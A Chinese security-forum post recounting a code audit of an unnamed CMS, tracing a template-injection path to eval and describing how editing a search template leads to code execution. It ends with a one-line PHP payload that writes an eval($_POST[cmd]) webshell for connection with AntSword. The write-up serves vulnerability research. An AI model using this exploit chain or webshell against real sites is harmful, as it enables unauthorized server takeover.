问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某CMS审计-模板注入导致getshell
漏洞分析
第一次尝试自己审计代码,小白一个。审计了好长时间,终于皇天不负有心人,找到一处模板注入,最终发现一处代码执行。 审计过程: 采用关键函数溯源法来找的。全局搜索eval函数在e/class/...
第一次尝试自己审计代码,小白一个。审计了好长时间,终于皇天不负有心人,找到一处模板注入,最终发现一处代码执行。 审计过程: 采用关键函数溯源法来找的。全局搜索eval函数在e/class/connect.php  代码如图所示,能否利用这个eval函数,关键点在于$listtemp和$docode 然后全局搜索ReplaceListVars函数,找的使用这个函数的功能点,在e/search/result/index.php中发现使用了这个函数。如图  从这里开始再进行回溯,查看参数是否可控。可以看到$listvar和$docode都是从$tempr中得到的,所以回溯$tempr 可以看到$tempr是从数据库中查询得到的,执行哪条查询语句关键在于$search\_r\['tempid'\]  再回溯$search\_r,可以看到$search\_r是从数据库查询到的。  我们连接数据库执行查询,看看这个sql的执行结果。  可以看到tempid为1。所以$tempr是执行第一条sql语句查询出来的。这里再执行第一条sql看看  如图,listvar就是可以放到eval中执行的字符串,而modid就是控制能否执行eval的$docode。将过程反过来看就是漏洞成因。 而要利用这个漏洞还差一个条件,就是参数可控。所以接下来要找可以插入数据在这里的函数。 全局搜索第一条sql的数据库关键字,在ListSearchtemp.php中发现insert,可以确定这里是新增的地方。  在web中找到该页面。可以看到这里显示的模板名称跟之前用sql查询的名字一样,所以可以确定这里就是新增的地方。从页面功能可以看出可以新增和修改,所以eval函数的参数可控。  漏洞利用:  修改类别内容为phpinfo,同时勾选上使用程序代码。 然后从首页底部的搜索功能,到/e/search/result/index.php   用file\_put\_contents函数写入一句话木马payload,然后连接蚁剑: ```php file_put_contents('test1.php','<?php eval($_POST[cmd]);?>'); ```  
发表于 2021-08-24 18:34:13
阅读 ( 5980 )
分类:
漏洞分析
0 推荐
收藏
1 条评论
hellowd
2023-09-03 22:05
大佬 复现卡在phome_enewssearch这个库表是空的 这个库表是在哪插入数据的
请先
登录
后评论
请先
登录
后评论
ordar123
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!